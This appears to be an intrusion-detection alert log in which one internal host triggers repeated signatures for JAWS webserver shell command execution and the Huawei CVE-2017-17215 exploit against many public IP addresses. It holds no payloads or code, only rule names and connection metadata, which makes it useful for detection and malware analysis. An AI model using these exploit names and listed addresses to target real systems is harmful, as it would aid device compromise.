Timestamp:	192.168.2.2323.3.204.16647422802030092 03/05/23-19:06:46.972881
SID:	2030092
Source Port:	47422
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.64.142.5

Timestamp:	192.168.2.2318.64.142.541858802030092 03/05/23-19:07:13.938001
SID:	2030092
Source Port:	41858
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 14.171.27.122

Timestamp:	192.168.2.2314.171.27.12251272802030092 03/05/23-19:07:22.057076
SID:	2030092
Source Port:	51272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.192.66.65

Timestamp:	192.168.2.2350.192.66.6546686802030092 03/05/23-19:07:15.919451
SID:	2030092
Source Port:	46686
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 84.141.227.139

Timestamp:	192.168.2.2384.141.227.13939752802030092 03/05/23-19:06:24.739662
SID:	2030092
Source Port:	39752
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.209.181.184

Timestamp:	192.168.2.2354.209.181.18435890802030092 03/05/23-19:06:32.682094
SID:	2030092
Source Port:	35890
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.195.239.235

Timestamp:	192.168.2.23211.195.239.23545208802030092 03/05/23-19:05:53.166142
SID:	2030092
Source Port:	45208
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 92.15.21.250

Timestamp:	192.168.2.2392.15.21.25049276802030092 03/05/23-19:06:02.007364
SID:	2030092
Source Port:	49276
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.32.85.251

Timestamp:	192.168.2.2313.32.85.25136242802030092 03/05/23-19:07:24.934784
SID:	2030092
Source Port:	36242
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.74.67.206

Timestamp:	192.168.2.2323.74.67.20647540802030092 03/05/23-19:06:11.869350
SID:	2030092
Source Port:	47540
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.152.149

Timestamp:	192.168.2.23197.196.152.14943248372152835222 03/05/23-19:06:14.894653
SID:	2835222
Source Port:	43248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.12.229.40

Timestamp:	192.168.2.23107.12.229.4047492802030092 03/05/23-19:07:06.043292
SID:	2030092
Source Port:	47492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.244.81.34

Timestamp:	192.168.2.2354.244.81.3449916802030092 03/05/23-19:06:01.985953
SID:	2030092
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 175.234.157.146

Timestamp:	192.168.2.23175.234.157.14652192802030092 03/05/23-19:06:29.736616
SID:	2030092
Source Port:	52192
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.71.18.176

Timestamp:	192.168.2.2381.71.18.17634210802030092 03/05/23-19:05:47.147629
SID:	2030092
Source Port:	34210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.165.204

Timestamp:	192.168.2.2341.152.165.20458742372152835222 03/05/23-19:07:07.453372
SID:	2835222
Source Port:	58742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.182.252.162

Timestamp:	192.168.2.23147.182.252.16241390802030092 03/05/23-19:07:24.983627
SID:	2030092
Source Port:	41390
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.77.130.204

Timestamp:	192.168.2.23156.77.130.20456322372152835222 03/05/23-19:05:57.652835
SID:	2835222
Source Port:	56322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.34.99

Timestamp:	192.168.2.23156.253.34.9957148372152835222 03/05/23-19:06:54.779025
SID:	2835222
Source Port:	57148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.59.22

Timestamp:	192.168.2.23197.195.59.2245230372152835222 03/05/23-19:06:43.085845
SID:	2835222
Source Port:	45230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 139.224.32.246

Timestamp:	192.168.2.23139.224.32.24652026802030092 03/05/23-19:06:14.741111
SID:	2030092
Source Port:	52026
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.82.9.87

Timestamp:	192.168.2.23104.82.9.8758572802030092 03/05/23-19:05:57.987223
SID:	2030092
Source Port:	58572
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.134.45.1

Timestamp:	192.168.2.2372.134.45.140426802030092 03/05/23-19:05:37.052671
SID:	2030092
Source Port:	40426
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.227.246.191

Timestamp:	192.168.2.23156.227.246.19157404372152835222 03/05/23-19:07:03.037149
SID:	2835222
Source Port:	57404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.220.91.202

Timestamp:	192.168.2.23154.220.91.20237170802030092 03/05/23-19:06:53.472232
SID:	2030092
Source Port:	37170
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 141.94.221.68

Timestamp:	192.168.2.23141.94.221.6841100802030092 03/05/23-19:05:36.701410
SID:	2030092
Source Port:	41100
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.16.54.114

Timestamp:	192.168.2.2396.16.54.11435618802030092 03/05/23-19:05:39.810408
SID:	2030092
Source Port:	35618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.240.140.200

Timestamp:	192.168.2.2344.240.140.20038278802030092 03/05/23-19:05:56.118669
SID:	2030092
Source Port:	38278
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.202.204.236

Timestamp:	192.168.2.2344.202.204.23658842802030092 03/05/23-19:06:22.688506
SID:	2030092
Source Port:	58842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.253.192.191

Timestamp:	192.168.2.2334.253.192.19138968802030092 03/05/23-19:06:50.738070
SID:	2030092
Source Port:	38968
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.2.210.201

Timestamp:	192.168.2.23185.2.210.20142620802030092 03/05/23-19:07:21.873621
SID:	2030092
Source Port:	42620
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.120.152.26

Timestamp:	192.168.2.2334.120.152.2650840802030092 03/05/23-19:05:48.743154
SID:	2030092
Source Port:	50840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.36.142.136

Timestamp:	192.168.2.2368.36.142.13641420802030092 03/05/23-19:05:52.877544
SID:	2030092
Source Port:	41420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.247.139.72

Timestamp:	192.168.2.23172.247.139.7250950802030092 03/05/23-19:06:37.267278
SID:	2030092
Source Port:	50950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.219.149.57

Timestamp:	192.168.2.2383.219.149.5760288802030092 03/05/23-19:05:27.897320
SID:	2030092
Source Port:	60288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.100.200.69

Timestamp:	192.168.2.23104.100.200.6952928802030092 03/05/23-19:06:04.879111
SID:	2030092
Source Port:	52928
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.203.96.15

Timestamp:	192.168.2.2323.203.96.1552788802030092 03/05/23-19:05:27.371592
SID:	2030092
Source Port:	52788
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.115.29.115

Timestamp:	192.168.2.2313.115.29.11553716802030092 03/05/23-19:06:07.077392
SID:	2030092
Source Port:	53716
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.38.239.50

Timestamp:	192.168.2.2346.38.239.5038682802030092 03/05/23-19:06:14.574189
SID:	2030092
Source Port:	38682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 27.48.181.157

Timestamp:	192.168.2.2327.48.181.15760652802030092 03/05/23-19:05:50.071666
SID:	2030092
Source Port:	60652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.77.199.231

Timestamp:	192.168.2.2323.77.199.23153556802030092 03/05/23-19:06:09.389524
SID:	2030092
Source Port:	53556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.116.96.42

Timestamp:	192.168.2.23104.116.96.4238426802030092 03/05/23-19:05:54.796569
SID:	2030092
Source Port:	38426
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.223.196.40

Timestamp:	192.168.2.23159.223.196.4057394802030092 03/05/23-19:05:40.017367
SID:	2030092
Source Port:	57394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.104.173.226

Timestamp:	192.168.2.23172.104.173.22646530802030092 03/05/23-19:05:50.714944
SID:	2030092
Source Port:	46530
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.8.75

Timestamp:	192.168.2.23156.163.8.7551824372152835222 03/05/23-19:06:25.295992
SID:	2835222
Source Port:	51824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.236.253

Timestamp:	192.168.2.2341.36.236.25342680372152835222 03/05/23-19:05:59.924998
SID:	2835222
Source Port:	42680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.179.44.215

Timestamp:	192.168.2.23107.179.44.21533408802030092 03/05/23-19:06:44.153290
SID:	2030092
Source Port:	33408
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.127.239.194

Timestamp:	192.168.2.23121.127.239.19459428802030092 03/05/23-19:06:02.233209
SID:	2030092
Source Port:	59428
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 102.69.176.218

Timestamp:	192.168.2.23102.69.176.21853252802030092 03/05/23-19:06:36.747052
SID:	2030092
Source Port:	53252
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 74.213.223.40

Timestamp:	192.168.2.2374.213.223.4059632802030092 03/05/23-19:06:22.824683
SID:	2030092
Source Port:	59632
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.67.72.244

Timestamp:	192.168.2.23172.67.72.24446522802030092 03/05/23-19:07:03.316518
SID:	2030092
Source Port:	46522
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.226.181

Timestamp:	192.168.2.23197.194.226.18154140372152835222 03/05/23-19:06:58.129096
SID:	2835222
Source Port:	54140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.66.224.182

Timestamp:	192.168.2.2352.66.224.18246724802030092 03/05/23-19:07:08.971893
SID:	2030092
Source Port:	46724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.129.242.255

Timestamp:	192.168.2.23149.129.242.25544184802030092 03/05/23-19:06:23.288312
SID:	2030092
Source Port:	44184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.33.127.140

Timestamp:	192.168.2.2345.33.127.14048996802030092 03/05/23-19:05:52.954525
SID:	2030092
Source Port:	48996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.122.223.203

Timestamp:	192.168.2.2345.122.223.20345038802030092 03/05/23-19:06:39.284919
SID:	2030092
Source Port:	45038
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 84.88.84.149

Timestamp:	192.168.2.2384.88.84.14957164802030092 03/05/23-19:06:26.780595
SID:	2030092
Source Port:	57164
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.13.250

Timestamp:	192.168.2.23197.194.13.25045278372152835222 03/05/23-19:06:38.561075
SID:	2835222
Source Port:	45278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.171.110.114

Timestamp:	192.168.2.2354.171.110.11453832802030092 03/05/23-19:06:58.870292
SID:	2030092
Source Port:	53832
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.176.5.205

Timestamp:	192.168.2.23192.176.5.20559394802030092 03/05/23-19:07:03.299595
SID:	2030092
Source Port:	59394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.90.119.191

Timestamp:	192.168.2.23208.90.119.19142742802030092 03/05/23-19:06:46.927969
SID:	2030092
Source Port:	42742
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 170.130.99.113

Timestamp:	192.168.2.23170.130.99.11344110802030092 03/05/23-19:07:24.694498
SID:	2030092
Source Port:	44110
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.19.79.97

Timestamp:	192.168.2.2350.19.79.9760526802030092 03/05/23-19:06:29.345830
SID:	2030092
Source Port:	60526
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.56.192.103

Timestamp:	192.168.2.2323.56.192.10356564802030092 03/05/23-19:06:48.995944
SID:	2030092
Source Port:	56564
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.73.63.103

Timestamp:	192.168.2.2354.73.63.10347242802030092 03/05/23-19:06:53.441069
SID:	2030092
Source Port:	47242
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.20.219.245

Timestamp:	192.168.2.232.20.219.24542926802030092 03/05/23-19:05:52.623474
SID:	2030092
Source Port:	42926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 145.40.46.160

Timestamp:	192.168.2.23145.40.46.16039084802030092 03/05/23-19:07:24.711384
SID:	2030092
Source Port:	39084
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.86.242

Timestamp:	192.168.2.23156.254.86.24245046372152835222 03/05/23-19:06:47.028857
SID:	2835222
Source Port:	45046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 182.160.107.58

Timestamp:	192.168.2.23182.160.107.5849404802030092 03/05/23-19:06:53.668935
SID:	2030092
Source Port:	49404
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.216.85

Timestamp:	192.168.2.23197.195.216.8536846372152835222 03/05/23-19:07:01.702449
SID:	2835222
Source Port:	36846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.36.243.235

Timestamp:	192.168.2.23154.36.243.23544950802030092 03/05/23-19:07:06.033441
SID:	2030092
Source Port:	44950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 152.89.102.176

Timestamp:	192.168.2.23152.89.102.17642024802030092 03/05/23-19:05:39.564151
SID:	2030092
Source Port:	42024
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.226.185.3

Timestamp:	192.168.2.23195.226.185.345610802030092 03/05/23-19:05:27.287046
SID:	2030092
Source Port:	45610
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.209.63.44

Timestamp:	192.168.2.2313.209.63.4458410802030092 03/05/23-19:05:55.360978
SID:	2030092
Source Port:	58410
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.129.174.61

Timestamp:	192.168.2.23149.129.174.6144566802030092 03/05/23-19:06:02.071135
SID:	2030092
Source Port:	44566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.10.249.248

Timestamp:	192.168.2.2385.10.249.24859878802030092 03/05/23-19:06:26.757317
SID:	2030092
Source Port:	59878
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 201.179.191.6

Timestamp:	192.168.2.23201.179.191.646158802030092 03/05/23-19:05:51.261327
SID:	2030092
Source Port:	46158
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.194.224.202

Timestamp:	192.168.2.23104.194.224.20259302802030092 03/05/23-19:07:03.426545
SID:	2030092
Source Port:	59302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.31.198.55

Timestamp:	192.168.2.23154.31.198.5543630802030092 03/05/23-19:05:56.099403
SID:	2030092
Source Port:	43630
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.225.49.224

Timestamp:	192.168.2.2341.225.49.22449952802030092 03/05/23-19:05:33.546880
SID:	2030092
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.197.56.200

Timestamp:	192.168.2.23154.197.56.20056776802030092 03/05/23-19:06:12.224415
SID:	2030092
Source Port:	56776
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 180.218.230.39

Timestamp:	192.168.2.23180.218.230.3940280802030092 03/05/23-19:07:16.143856
SID:	2030092
Source Port:	40280
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 163.53.22.153

Timestamp:	192.168.2.23163.53.22.15335042802030092 03/05/23-19:07:22.343999
SID:	2030092
Source Port:	35042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 186.94.76.66

Timestamp:	192.168.2.23186.94.76.6639232802030092 03/05/23-19:05:28.094228
SID:	2030092
Source Port:	39232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.197.175.183

Timestamp:	192.168.2.2323.197.175.18356886802030092 03/05/23-19:06:24.922477
SID:	2030092
Source Port:	56886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.139.243.144

Timestamp:	192.168.2.23185.139.243.14441654802030092 03/05/23-19:06:12.240227
SID:	2030092
Source Port:	41654
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.232.186.49

Timestamp:	192.168.2.23124.232.186.4951358802030092 03/05/23-19:07:11.883963
SID:	2030092
Source Port:	51358
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.244.171.183

Timestamp:	192.168.2.2354.244.171.18357300802030092 03/05/23-19:07:24.527020
SID:	2030092
Source Port:	57300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.31.206

Timestamp:	192.168.2.23197.199.31.20647136372152835222 03/05/23-19:06:34.181476
SID:	2835222
Source Port:	47136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.31.57.119

Timestamp:	192.168.2.23184.31.57.11950082802030092 03/05/23-19:07:05.435264
SID:	2030092
Source Port:	50082
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.245.54.18

Timestamp:	192.168.2.23157.245.54.1846736802030092 03/05/23-19:07:06.223643
SID:	2030092
Source Port:	46736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.150.70.85

Timestamp:	192.168.2.2366.150.70.8557798802030092 03/05/23-19:06:32.700642
SID:	2030092
Source Port:	57798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 1.32.193.15

Timestamp:	192.168.2.231.32.193.1539674802030092 03/05/23-19:05:27.543119
SID:	2030092
Source Port:	39674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.52.185.53

Timestamp:	192.168.2.2323.52.185.5349432802030092 03/05/23-19:05:53.036590
SID:	2030092
Source Port:	49432
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.145.199.66

Timestamp:	192.168.2.23197.145.199.6646388802030092 03/05/23-19:05:45.089455
SID:	2030092
Source Port:	46388
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.255.217.10

Timestamp:	192.168.2.23103.255.217.1042624802030092 03/05/23-19:05:47.041899
SID:	2030092
Source Port:	42624
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.125.10.14

Timestamp:	192.168.2.2359.125.10.1444732802030092 03/05/23-19:06:23.198236
SID:	2030092
Source Port:	44732
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

